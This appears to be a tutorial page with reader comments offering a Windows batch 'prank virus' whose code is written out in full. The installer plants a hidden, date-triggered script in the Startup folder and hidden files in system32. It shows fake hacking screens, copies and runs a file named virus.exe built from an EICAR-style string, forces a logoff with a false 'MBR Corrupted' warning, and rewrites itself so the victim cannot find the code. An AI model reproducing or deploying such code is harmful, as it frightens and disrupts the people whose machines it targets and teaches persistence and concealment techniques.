The code is more or less same, but I've added a few extra lines.
The file contains an installer file.
On execution it searches for three files-
1) Kick.bat - It starts the main file (switch.bat) on a specific date.
2) Switch.bat - It shows some fancy hacking like text, numbers etc in command prompt and then copies virus.exe and executes it and in the end shutdown the PC.
3) Vback.nrk - .nrk is my extention I use to keep backups of my codes. It is copied as virus.exe. It contains a EICAR ANTIVIRUS TEST STRING, it is read as a real virus by all antivirus but is safe.
If it doesn't finds any of the above file then it creates them. If these files exist then the installer file re-writes itself, so that the victim cannot find it's real coding.
Remove these ads by
Signing UpStep 1Making the File
@echo off
if exist "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat" goto done
echo @echo off > "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo title Kick >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
set trig=01 >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
rem change the above trig value to any date you want the file to run
set datee=%date% >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
set datee1=%datee:~7,2% >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
if not "%trig%"=="%datee1%" goto :dud >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo start "C:\WINDOWS\system32\switch.bat" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo exit >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo :dud >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
echo exit >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
attrib +h "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat"
if exist "C:\WINDOWS\system32/switch.bat" goto done
echo @echo off > "C:\WINDOWS\system32\switch.bat"
echo color 07 >> "C:\WINDOWS\system32\switch.bat"
echo title Connecting from 135.234.77.11 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo HOST MACHINE FOUND........................... >> "C:\WINDOWS\system32\switch.bat"
echo set count1=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a1 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count1%"=="500" goto next1 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count1+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a1 >> "C:\WINDOWS\system32\switch.bat"
echo :next1 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo ACQURING HOST IP ADDRESS..................... >> "C:\WINDOWS\system32\switch.bat"
echo set count2=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a2 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count2%"=="500" goto next2 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count2+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a2 >> "C:\WINDOWS\system32\switch.bat"
echo :next2 >> "C:\WINDOWS\system32\switch.bat"
echo ipconfig/all >> "C:\WINDOWS\system32\switch.bat"
echo echo HOST IP ADDRESS ACQURIED..................... >> "C:\WINDOWS\system32\switch.bat"
echo set count3=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a3 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count3%"=="500" goto next3 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count3+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a3 >> "C:\WINDOWS\system32\switch.bat"
echo :next3 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo SEARCHING FOR OPEN TERMINALS................. >> "C:\WINDOWS\system32\switch.bat"
echo set count4=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a4 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count4%"=="500" goto next4 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count4+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a4 >> "C:\WINDOWS\system32\switch.bat"
echo :next4 >> "C:\WINDOWS\system32\switch.bat"
echo set count5=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a5 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count5%"=="500" goto next5 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count5+=1 >> "C:\WINDOWS\system32\switch.bat"
echo echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random% >> "C:\WINDOWS\system32\switch.bat"
echo goto a5 >> "C:\WINDOWS\system32\switch.bat"
echo:next5 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo OPEN TERMINAL FOUND........................... >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random% >> "C:\WINDOWS\system32\switch.bat"
echo set count6=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a6 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count6%"=="500" goto next6 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count6+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a6 >> "C:\WINDOWS\system32\switch.bat"
echo :next6 >> "C:\WINDOWS\system32\switch.bat"
echo echo.
echo echo INITIATING BRUTE FORCE ATTACK ON FIREWALL..... >> "C:\WINDOWS\system32\switch.bat"
echo set count7=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a7 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count7%"=="500" goto next7 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count7+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a7 >> "C:\WINDOWS\system32\switch.bat"
echo :next7 >> "C:\WINDOWS\system32\switch.bat"
echo set count8=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a8 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count8%"=="500" goto next8 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count8+=1 >> "C:\WINDOWS\system32\switch.bat"
echo echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random% >> "C:\WINDOWS\system32\switch.bat"
echo goto a8 >> "C:\WINDOWS\system32\switch.bat"
echo :next8 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo FIREWALL DISABLED............................. >> "C:\WINDOWS\system32\switch.bat"
echo set count9=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a9 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count9%"=="500" goto next9 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count9+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a9 >> "C:\WINDOWS\system32\switch.bat"
echo :next9 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo COPYING ALL FILES............................. >> "C:\WINDOWS\system32\switch.bat"
echo set count10=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a10 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count10%"=="500" goto next10 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count10+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a10 >> "C:\WINDOWS\system32\switch.bat"
echo :next10 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo dir /s >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo COPYING COMPLETE.............................. >> "C:\WINDOWS\system32\switch.bat"
echo set count11=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a11 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count11%"=="500" goto next11 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count11+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a11 >> "C:\WINDOWS\system32\switch.bat"
echo :next11 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo INSTALLING K1ll5W1T(H.exe..................... >> "C:\WINDOWS\system32\switch.bat"
echo copy "C:\WINDOWS\system32\vback.nrk" "C:\WINDOWS\virus.exe" >> "C:\WINDOWS\system32\switch.bat"
echo set count12=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a12 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count12%"=="500" goto next12 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count12+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a12 >> "C:\WINDOWS\system32\switch.bat"
echo :next12 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo K1ll5W1T(H.exe INSTALLATION COMPLETE.......... >> "C:\WINDOWS\system32\switch.bat"
echo set count13=0 >> "C:\WINDOWS\system32\switch.bat"
echo :a13 >> "C:\WINDOWS\system32\switch.bat"
echo if "%count13%"=="500" goto next13 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count13+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a13 >> "C:\WINDOWS\system32\switch.bat"
echo :next13 >> "C:\WINDOWS\system32\switch.bat"
echo echo. >> "C:\WINDOWS\system32\switch.bat"
echo echo EXECUTING K1ll5W1T(H.exe...................... >> "C:\WINDOWS\system32\switch.bat"
echo start "C:\WINDOWS\virus.exe" >> "C:\WINDOWS\system32\switch.bat"
echo set count14=0 >> "C:\WINDOWS\system32/switch.bat"
echo :a14 >> "C:\WINDOWS\system32/switch.bat"
echo if "%count14%"=="500" goto next14 >> "C:\WINDOWS\system32\switch.bat"
echo set /a count14+=1 >> "C:\WINDOWS\system32\switch.bat"
echo goto a14 >> "C:\WINDOWS\system32\switch.bat"
echo :next14 >> "C:\WINDOWS\system32\switch.bat"
echo shutdown -l -tp 30 -c "MBR Corrupted! Windows is Shutting Down" >> "C:\WINDOWS\system32\switch.bat"
echo exit >> "C:\WINDOWS\system32\switch.bat"
attrib +h "C:\WINDOWS\system32\switch.bat"
if exist "C:\WINDOWS\system32\vback.nrk" goto done
echo X5O!P%@AP[4\PZX54(P^)7CC)7}$K1ll5W1T(H ALERT CORRUPTING SYSTEM SHUTDOWN!$H+H* > "C:\WINDOWS\system32\vback.nrk"
attrib +h "C:\WINDOWS\system32\vback.nrk"
:done
echo dir/s > %0
exit
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none the less, by the way it looks from the coding, one could surely freak someone the hell out!!!...haha
Second to remove the prank all you have to do is remove kick.bat from the Startup folder "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\kick.bat". The remaining files do not need to remove.
Those files are hidden, so choose show hidden files in your folder.
Third, the reason that there is so much coding is that I don't know much batch programming, so I don't know any more efficient way to do those things.
This contains a simple logic bomb as it'll trigger on only 1st of every month.
I'm working on the next version, hope it'll come up soon.
I cant wait for the next one you come up with!!
I picked up the words from movies, the rest is just showing ip, and random numbers (just the basics).
The real deal was the loop used to delay the echos and the date compare codes.